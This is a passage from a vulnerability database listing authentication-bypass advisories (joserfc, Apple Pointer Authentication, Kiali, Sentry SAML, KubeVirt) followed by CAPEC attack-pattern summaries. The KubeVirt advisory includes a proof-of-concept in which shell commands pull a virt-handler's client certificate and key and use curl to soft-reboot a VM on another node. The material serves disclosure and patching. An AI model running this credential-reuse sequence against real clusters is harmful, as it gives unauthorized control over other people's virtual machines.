      "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/commit/86d00910b2b2d2d07503fee9b572906daefab7f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/joserfc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)"
}

GHSA-GGCC-JFXP-HXPH

Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2022-05-24 19:13
VLAI
Details

A logic issue was addressed with improved state management. This issue is fixed in iOS 14.7, tvOS 14.7, watchOS 7.6. A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-30769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-08T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A logic issue was addressed with improved state management. This issue is fixed in iOS 14.7, tvOS 14.7, watchOS 7.6. A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication.",
  "id": "GHSA-ggcc-jfxp-hxph",
  "modified": "2022-05-24T19:13:45Z",
  "published": "2022-05-24T19:13:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30769"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT212601"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT212604"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT212605"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GGJR-2F7V-VHQ4

Vulnerability from github – Published: 2021-06-01 21:57 – Updated: 2022-08-11 16:53
VLAI
Summary
Kiali Authentication Bypass vulnerability
Details

An authentication bypass vulnerability was found in Kiali in versions before 1.31.0 when the authentication strategy OpenID is used. When RBAC is enabled, Kiali assumes that some of the token validation is handled by the underlying cluster. When OpenID implicit flow is used with RBAC turned off, this token validation doesn't occur, and this allows a malicious user to bypass the authentication.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kiali/kiali"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-20278"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-01T17:44:07Z",
    "nvd_published_at": "2021-05-28T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An authentication bypass vulnerability was found in Kiali in versions before 1.31.0 when the authentication strategy `OpenID` is used. When RBAC is enabled, Kiali assumes that some of the token validation is handled by the underlying cluster. When OpenID `implicit flow` is used with RBAC turned off, this token validation doesn\u0027t occur, and this allows a malicious user to bypass the authentication.",
  "id": "GHSA-ggjr-2f7v-vhq4",
  "modified": "2022-08-11T16:53:09Z",
  "published": "2021-06-01T21:57:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20278"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1937171"
    },
    {
      "type": "WEB",
      "url": "https://kiali.io/news/security-bulletins/kiali-security-002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kiali Authentication Bypass vulnerability"
}

GHSA-GGMG-CQG6-J45G

Vulnerability from github – Published: 2026-04-17 21:25 – Updated: 2026-04-17 21:25
VLAI
Summary
Sentry: Improper authentication on SAML SSO process allows user identity linking
Details

Impact

A critical vulnerability was discovered in the SAML SSO implementation of Sentry. It was reported to us via our private bug bounty program.

The vulnerability allows an attacker to take over any user account by using a malicious SAML Identity Provider and another organization on the same Sentry instance. The victim email address must be known in order to exploit this vulnerability.

For self-hosted users, you are only vulnerable if the following conditions are met: - You have more than one organization configured (SENTRY_SINGLE_ORGANIZATION = False). - A malicious user has existing access and permissions to modify SSO settings for another organization in your multo-organization instance.

Patches

  • Sentry SaaS: The fix was deployed on February 18, 2026. No action is required.
  • Self-Hosted Sentry: If only a single organization is allowed (SENTRY_SINGLE_ORGANIZATION = True), then no action is needed. We recommend upgrading to version 26.2.0 or higher.

Workarounds

User account-based two-factor authentication prevents an attacker from being able to complete authentication with a victim's user account. Organization administrators cannot do this on a user's behalf, this requires individual users to ensure 2FA has been enabled for their account.

You can manage your two-factor authentication settings on your Account Settings > Security page. For step-by-step details, please see our helpdesk article.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 26.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "sentry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "21.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:25:37Z",
    "nvd_published_at": "2026-02-21T05:17:29Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nA critical vulnerability was discovered in the SAML SSO implementation of Sentry. It was reported to us via our private bug bounty program.\n\nThe vulnerability allows an attacker to take over any user account by using a malicious SAML Identity Provider and another organization on the same Sentry instance. The victim email address must be known in order to exploit this vulnerability.\n\nFor self-hosted users, you are only vulnerable if the following conditions are met:\n- You have more than one organization configured (SENTRY_SINGLE_ORGANIZATION = False).\n- A malicious user has existing access and permissions to modify SSO settings for another organization in your multo-organization instance. \n\n### Patches\n- [Sentry SaaS](https://sentry.io/): The fix was deployed on February 18, 2026. No action is required.\n- [Self-Hosted Sentry](https://github.com/getsentry/self-hosted): If only a single organization is allowed (SENTRY_SINGLE_ORGANIZATION = True), then no action is needed. We recommend upgrading to version 26.2.0 or higher.\n\n### Workarounds\nUser account-based two-factor authentication prevents an attacker from being able to complete authentication with a victim\u0027s user account. Organization administrators cannot do this on a user\u0027s behalf, this requires individual users to ensure 2FA has been enabled for their account.\n\nYou can manage your two-factor authentication settings on your Account Settings \u003e [Security](https://sentry.io/settings/account/security/) page. For step-by-step details, please see our [helpdesk article](https://sentry.zendesk.com/hc/en-us/articles/46773315774235-How-do-I-enable-two-factor-authentication-2FA-on-my-Sentry-account).",
  "id": "GHSA-ggmg-cqg6-j45g",
  "modified": "2026-04-17T21:25:37Z",
  "published": "2026-04-17T21:25:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry/security/advisories/GHSA-ggmg-cqg6-j45g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry/pull/108458"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getsentry/sentry"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sentry: Improper authentication on SAML SSO process allows user identity linking"
}

GHSA-GGP9-C99X-54GP

Vulnerability from github – Published: 2025-11-06 23:35 – Updated: 2025-11-27 08:48
VLAI
Summary
KubeVirt's Improper TLS Certificate Management Handling Allows API Identity Spoofing
Details

Summary

Due to improper TLS certificate management, a compromised virt-handler could impersonate virt-api by using its own TLS credentials, allowing it to initiate privileged operations against another virt-handler.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Because of improper TLS certificate management, a compromised virt-handler instance can reuse its TLS bundle to impersonate virt-api, enabling unauthorized access to VM lifecycle operations on other virt-handler nodes. The virt-api component acts as a sub-resource server, and it proxies API VM lifecycle requests to virt-handler instances. The communication between virt-api and virt-handler instances is secured using mTLS. The former acts as a client while the latter as the server. The client certificate used by virt-api is defined in the source code as follows and have the following properties:

//pkg/virt-api/api.go

const (
    ...
    defaultCAConfigMapName     = "kubevirt-ca"
  ...
    defaultHandlerCertFilePath = "/etc/virt-handler/clientcertificates/tls.crt"
    defaultHandlerKeyFilePath  = "/etc/virt-handler/clientcertificates/tls.key"
)
# verify virt-api's certificate properties from the docker container in which it is deployed using Minikube
admin@minikube:~$ openssl x509 -text -in \ 
$(CID=$(docker ps --filter 'Name=virt-api' --format '{{.ID}}' | head -n 1) && \
docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | \
tr -d '"[:space:]')/tls.crt | \
grep -e "Subject:" -e "Issuer:" -e "Serial"

Serial Number: 127940157512425330 (0x1c688e539091f72)
Issuer: CN = kubevirt.io@1747579138
Subject: CN = kubevirt.io:system:client:virt-handler

The virt-handler component verifies the signature of client certificates using a self-signed root CA. This latter is generated by virt-operator when the KubeVirt stack is deployed and it is stored within a ConfigMap in the kubevirt namespace. This configmap is used as a trust anchor by all virt-handler instances to verify client certificates.

# inspect the self-signed root CA used to sign virt-api and virt-handler's certificates
admin@minikube:~$ kubectl -n kubevirt get configmap kubevirt-ca -o jsonpath='{.data.ca-bundle}' | openssl x509 -text | grep -e "Subject:" -e "Issuer:" -e "Serial"

Serial Number: 319368675363923930 (0x46ea01e3f7427da)
Issuer: CN=kubevirt.io@1747579138
Subject: CN=kubevirt.io@1747579138

The kubevirt-ca is also used to sign the server certificate which is used by a virt-handler instance:

admin@minikube:~$ openssl x509 -text -in \ 
$(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && \
docker inspect $CID | grep "servercertificates:ro" | cut -d ":" -f1 | \
tr -d '"[:space:]')/tls.crt | \
grep -e "Subject:" -e "Issuer:" -e "Serial"

# the virt-handler's server ceriticate is issued by the same root CA
Serial Number: 7584450293644921758 (0x6941615ba1500b9e)
Issuer: CN = kubevirt.io@1747579138
Subject: CN = kubevirt.io:system:node:virt-handler

In addition to the validity of the signature, the virt-handler component also verifies the CN field of the presented certificate:

//pkg/util/tls/tls.go

func SetupTLSForVirtHandlerServer(caManager ClientCAManager, certManager certificate.Manager, externallyManaged bool, clusterConfig *virtconfig.ClusterConfig) *tls.Config {
    // #nosec cause: InsecureSkipVerify: true
    // resolution: Neither the client nor the server should validate anything itself, `VerifyPeerCertificate` is still executed

    //...
                // XXX: We need to verify the cert ourselves because we don't have DNS or IP on the certs at the moment
                VerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
                    return verifyPeerCert(rawCerts, externallyManaged, certPool, x509.ExtKeyUsageClientAuth, "client")
                },
                //...
}

func verifyPeerCert(rawCerts [][]byte, externallyManaged bool, certPool *x509.CertPool, usage x509.ExtKeyUsage, commonName string) error {
  //...
    rawPeer, rawIntermediates := rawCerts[0], rawCerts[1:]
    c, err := x509.ParseCertificate(rawPeer)
    //...
    fullCommonName := fmt.Sprintf("kubevirt.io:system:%s:virt-handler", commonName)
    if !externallyManaged && c.Subject.CommonName != fullCommonName {
        return fmt.Errorf("common name is invalid, expected %s, but got %s", fullCommonName, c.Subject.CommonName)
    }
    //...

The above code illustrates that client certificates accepted be KubeVirt should have as CN kubevirt.io:system:client:virt-handler which is the same as the CN present in the virt-api's certificate. However, the latter is not the only component in the KubeVirt stack which can communicate with a virt-handler instance.

In addition to the extension API server, any other virt-handler can communicate with it. This happens in the context of VM migration operations. When a VM is migrated from one node to another, the virt-handlers on both nodes are going to use structures called ProxyManager to communicate back and forth on the state of the migration.

//pkg/virt-handler/migration-proxy/migration-proxy.go

func NewMigrationProxyManager(serverTLSConfig *tls.Config, clientTLSConfig *tls.Config, config *virtconfig.ClusterConfig) ProxyManager {
    return &migrationProxyManager{
        sourceProxies:   make(map[string][]*migrationProxy),
        targetProxies:   make(map[string][]*migrationProxy),
        serverTLSConfig: serverTLSConfig,
        clientTLSConfig: clientTLSConfig,
        config:          config,
    }
}

This communication follows a classical client-server model, where the virt-handler on the migration source node acts as a client and the virt-handler on the migration destination node acts as a server. This communication is also secured using mTLS. The server certificate presented by the virt-handler acting as a migration destination node is the same as the one which is used for the communication between the same virt-handler and the virt-api in the context of VM lifecycle operations (CN=kubevirt.io:system:node:virt-handler). However, the client certificate which is used by a virt-handler instance has the same CN as the client certificate used by virt-api.

admin@minikube:~$ openssl x509 -text -in $(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | tr -d '"[:space:]')/tls.crt | grep -e "Subject:" -e "Issuer:" -e "Serial"

Serial Number: 2951695854686290384 (0x28f687bdb791c1d0)
Issuer: CN = kubevirt.io@1747579138
Subject: CN = kubevirt.io:system:client:virt-handler

Although the migration procedure, where two separate virt-handler instances coordinate the transfer of a VM's state, is not directly tied to the communication between virt-api and virt-handler during VM lifecycle management, there is a critical overlap in the TLS authentication mechanism. Specifically, the client certificate used by both virt-handler and virt-api shares the same CN field, despite the use of different, randomly allocated ports, for the two types of communication.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

To illustrate the vulnerability, a Minikube cluster has been deployed with two nodes (minikube and minikube-m02) thus, with two virt-handler instances alongside a vmi running on one of the nodes. It is considered that an attacker has obtained access to the client certificate bundle used by the virt-handler instance running on the compromised node (minikube) while the virtual machine is running on the other node (minikube-m02). Thus, they can interact with the sub-resource API exposed by the other virt-handler instance and control the lifecycle of the VMs running on the other node:

# the deployed VMI on the non-compromised node minikube-m02
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
  labels:
  kubevirt.io/size: small
  name: mishandling-common-name-in-certificate-handler
spec:
  domain:
    devices:
      disks:
      - name: containerdisk
        disk:
          bus: virtio

      - name: cloudinitdisk
        disk:
          bus: virtio
    resources:
      requests:
        memory: 1024M
  terminationGracePeriodSeconds: 0
  volumes:
  - name: containerdisk
    containerDisk:
      image: quay.io/kubevirt/cirros-container-disk-demo
  - name: cloudinitdisk      
    cloudInitNoCloud:
      userDataBase64: SGkuXG4=
# the IP of the non-compromised handler running on the node minikube-m02 is 10.244.1.3
attacker@minikube:~$ curl -k https://10.244.1.3:8186/
curl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0
# get the certificate bundle directory and redo the request
attacker@minikube:~$ export CERT_DIR=$(docker inspect $(docker ps --filter 'Name=virt-handler' --format='{{.ID}}' | head -n 1) | grep "clientcertificates:ro" | cut -d ':' -f1 | tr -d '"[:space:]')

attacker@minikube:~$ curl -k  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/
404: Page Not Found

# soft reboot the VMI instance running on the other node
attacker@minikube:~$ curl -ki  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-handler/softreboot  -XPUT
HTTP/1.1 202 Accepted
# the VMI mishandling-common-name-in-certificate-handler has been rebooted

Impact

What kind of vulnerability is it? Who is impacted?

Due to the peer verification logic in virt-handler (via verifyPeerCert), an attacker who compromises a virt-handler instance, could exploit these shared credentials to impersonate virt-api and execute privileged operations against other virt-handler instances potentially compromising the integrity and availability of the managed by it VM.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "kubevirt.io/kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "kubevirt.io/kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0-alpha.0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-06T23:35:03Z",
    "nvd_published_at": "2025-11-07T23:15:45Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nDue to improper TLS certificate management, a compromised `virt-handler` could impersonate `virt-api` by using its own TLS credentials, allowing it to initiate privileged operations against another `virt-handler`.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nBecause of improper TLS certificate management, a compromised `virt-handler` instance can reuse its TLS bundle to impersonate `virt-api`, enabling unauthorized access to VM lifecycle operations on other `virt-handler` nodes. \nThe `virt-api` component acts as a sub-resource server, and it proxies API VM lifecycle requests to `virt-handler` instances.\nThe communication between `virt-api` and `virt-handler` instances is secured using mTLS. The former acts as a client while the latter as the server. The client certificate used by `virt-api` is defined in the source code as follows and have the following properties: \n\n```go\n//pkg/virt-api/api.go\n\nconst (\n\t...\n\tdefaultCAConfigMapName     = \"kubevirt-ca\"\n  ...\n\tdefaultHandlerCertFilePath = \"/etc/virt-handler/clientcertificates/tls.crt\"\n\tdefaultHandlerKeyFilePath  = \"/etc/virt-handler/clientcertificates/tls.key\"\n)\n```\n\n```bash\n# verify virt-api\u0027s certificate properties from the docker container in which it is deployed using Minikube\nadmin@minikube:~$ openssl x509 -text -in \\ \n$(CID=$(docker ps --filter \u0027Name=virt-api\u0027 --format \u0027{{.ID}}\u0027 | head -n 1) \u0026\u0026 \\\ndocker inspect $CID | grep \"clientcertificates:ro\" | cut -d \":\" -f1 | \\\ntr -d \u0027\"[:space:]\u0027)/tls.crt | \\\ngrep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 127940157512425330 (0x1c688e539091f72)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:client:virt-handler\n```\n\nThe `virt-handler` component verifies the signature of client certificates using a self-signed root CA. This latter is generated by `virt-operator` when the KubeVirt stack is deployed and it is stored within a ConfigMap in the `kubevirt` namespace. **This configmap is used as a trust anchor** by all `virt-handler` instances to verify client certificates.\n\n```bash\n# inspect the self-signed root CA used to sign virt-api and virt-handler\u0027s certificates\nadmin@minikube:~$ kubectl -n kubevirt get configmap kubevirt-ca -o jsonpath=\u0027{.data.ca-bundle}\u0027 | openssl x509 -text | grep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 319368675363923930 (0x46ea01e3f7427da)\nIssuer: CN=kubevirt.io@1747579138\nSubject: CN=kubevirt.io@1747579138\n```\n\nThe `kubevirt-ca` is also used to sign the server certificate which is used by a `virt-handler` instance:\n\n\n```bash\nadmin@minikube:~$ openssl x509 -text -in \\ \n$(CID=$(docker ps --filter \u0027Name=virt-handler\u0027 --format \u0027{{.ID}}\u0027 | head -n 1) \u0026\u0026 \\\ndocker inspect $CID | grep \"servercertificates:ro\" | cut -d \":\" -f1 | \\\ntr -d \u0027\"[:space:]\u0027)/tls.crt | \\\ngrep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\n# the virt-handler\u0027s server ceriticate is issued by the same root CA\nSerial Number: 7584450293644921758 (0x6941615ba1500b9e)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:node:virt-handler\n```\n\n\nIn addition to the validity of the signature, the `virt-handler` component also verifies the CN field of the presented certificate:\n\n\u003ccode.sec.SetupTLSForVirtHandlerServer\u003e\n```go \n//pkg/util/tls/tls.go\n\nfunc SetupTLSForVirtHandlerServer(caManager ClientCAManager, certManager certificate.Manager, externallyManaged bool, clusterConfig *virtconfig.ClusterConfig) *tls.Config {\n\t// #nosec cause: InsecureSkipVerify: true\n\t// resolution: Neither the client nor the server should validate anything itself, `VerifyPeerCertificate` is still executed\n\t\n\t//...\n\t\t\t\t// XXX: We need to verify the cert ourselves because we don\u0027t have DNS or IP on the certs at the moment\n\t\t\t\tVerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {\n\t\t\t\t\treturn verifyPeerCert(rawCerts, externallyManaged, certPool, x509.ExtKeyUsageClientAuth, \"client\")\n\t\t\t\t},\n\t\t\t\t//...\n}\n\nfunc verifyPeerCert(rawCerts [][]byte, externallyManaged bool, certPool *x509.CertPool, usage x509.ExtKeyUsage, commonName string) error {\n  //...\n\trawPeer, rawIntermediates := rawCerts[0], rawCerts[1:]\n\tc, err := x509.ParseCertificate(rawPeer)\n\t//...\n\tfullCommonName := fmt.Sprintf(\"kubevirt.io:system:%s:virt-handler\", commonName)\n\tif !externallyManaged \u0026\u0026 c.Subject.CommonName != fullCommonName {\n\t\treturn fmt.Errorf(\"common name is invalid, expected %s, but got %s\", fullCommonName, c.Subject.CommonName)\n\t}\n\t//...\n```\n\n\nThe above code illustrates that client certificates accepted be KubeVirt should have as CN `kubevirt.io:system:client:virt-handler` which is the same as the CN present in the `virt-api`\u0027s certificate. **However, the latter is not the only component in the KubeVirt stack which can communicate with a `virt-handler` instance**. \n\nIn addition to the extension API server, any other `virt-handler` can communicate with it. This happens in the context of VM migration operations. When a VM is migrated from one node to another, the `virt-handler`s on both nodes are going to use structures called `ProxyManager` to communicate back and forth on the state of the migration. \n\n```go\n//pkg/virt-handler/migration-proxy/migration-proxy.go\n\nfunc NewMigrationProxyManager(serverTLSConfig *tls.Config, clientTLSConfig *tls.Config, config *virtconfig.ClusterConfig) ProxyManager {\n\treturn \u0026migrationProxyManager{\n\t\tsourceProxies:   make(map[string][]*migrationProxy),\n\t\ttargetProxies:   make(map[string][]*migrationProxy),\n\t\tserverTLSConfig: serverTLSConfig,\n\t\tclientTLSConfig: clientTLSConfig,\n\t\tconfig:          config,\n\t}\n}\n```\n\n\nThis communication follows a classical client-server model, where the `virt-handler` on the migration source node acts as a client and the `virt-handler` on the migration destination node acts as a server. This communication is also secured using mTLS. The server certificate presented by the `virt-handler` acting as a migration destination node is the same as the one which is used for the communication between the same `virt-handler` and the `virt-api` in the context of VM lifecycle operations (`CN=kubevirt.io:system:node:virt-handler`). However, the client certificate  which is used by a `virt-handler` instance has the same CN as the client certificate used by `virt-api`.\n\n\n\n```bash\nadmin@minikube:~$ openssl x509 -text -in $(CID=$(docker ps --filter \u0027Name=virt-handler\u0027 --format \u0027{{.ID}}\u0027 | head -n 1) \u0026\u0026 docker inspect $CID | grep \"clientcertificates:ro\" | cut -d \":\" -f1 | tr -d \u0027\"[:space:]\u0027)/tls.crt | grep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 2951695854686290384 (0x28f687bdb791c1d0)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:client:virt-handler\n\n```\n\nAlthough the migration procedure, where two separate `virt-handler` instances coordinate the transfer of a VM\u0027s state, is not directly tied to the communication between `virt-api` and `virt-handler` during VM lifecycle management, there is a critical overlap in the TLS authentication mechanism. Specifically, the client certificate used by both `virt-handler` and `virt-api` shares the same CN field, despite the use of different, randomly allocated ports, for the two types of communication.\n\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nTo illustrate the vulnerability, a Minikube cluster has been deployed with two nodes (`minikube` and `minikube-m02`) thus, with two `virt-handler` instances alongside a vmi running on one of the nodes. It is considered that an attacker has obtained access to the client certificate bundle used by the `virt-handler` instance running on the compromised node (`minikube`) while the virtual machine is running on the other node (`minikube-m02`). Thus, they can interact with the sub-resource API exposed by the other `virt-handler` instance and control the lifecycle of the VMs running on the other node:\n\n\n```yaml\n# the deployed VMI on the non-compromised node minikube-m02\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n  labels:\n  kubevirt.io/size: small\n  name: mishandling-common-name-in-certificate-handler\nspec:\n  domain:\n    devices:\n      disks:\n      - name: containerdisk\n        disk:\n          bus: virtio\n\n      - name: cloudinitdisk\n        disk:\n          bus: virtio\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - name: containerdisk\n    containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo\n  - name: cloudinitdisk      \n    cloudInitNoCloud:\n      userDataBase64: SGkuXG4=\n```\n\n\n```bash\n# the IP of the non-compromised handler running on the node minikube-m02 is 10.244.1.3\nattacker@minikube:~$ curl -k https://10.244.1.3:8186/\ncurl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0\n# get the certificate bundle directory and redo the request\nattacker@minikube:~$ export CERT_DIR=$(docker inspect $(docker ps --filter \u0027Name=virt-handler\u0027 --format=\u0027{{.ID}}\u0027 | head -n 1) | grep \"clientcertificates:ro\" | cut -d \u0027:\u0027 -f1 | tr -d \u0027\"[:space:]\u0027)\n\nattacker@minikube:~$ curl -k  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/\n404: Page Not Found\n\n# soft reboot the VMI instance running on the other node\nattacker@minikube:~$ curl -ki  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-handler/softreboot  -XPUT\nHTTP/1.1 202 Accepted\n# the VMI mishandling-common-name-in-certificate-handler has been rebooted\n```\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDue to the peer verification logic in `virt-handler` (via `verifyPeerCert`), an attacker who compromises a `virt-handler` instance, could exploit these shared credentials to impersonate `virt-api` and execute privileged operations against other `virt-handler` instances potentially compromising the integrity and availability of the managed by it VM.",
  "id": "GHSA-ggp9-c99x-54gp",
  "modified": "2025-11-27T08:48:13Z",
  "published": "2025-11-06T23:35:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-ggp9-c99x-54gp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64434"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/231dc69723f331dc02f65a31ab4c3d6869f40d6a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/af2f08a9a186eccc650f87c30ab3e07b669e8b5b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/b9773bc588e6e18ece896a2dad5336ef7a653074"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubevirt/kubevirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "KubeVirt\u0027s Improper TLS Certificate Management Handling Allows API Identity Spoofing"
}

Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

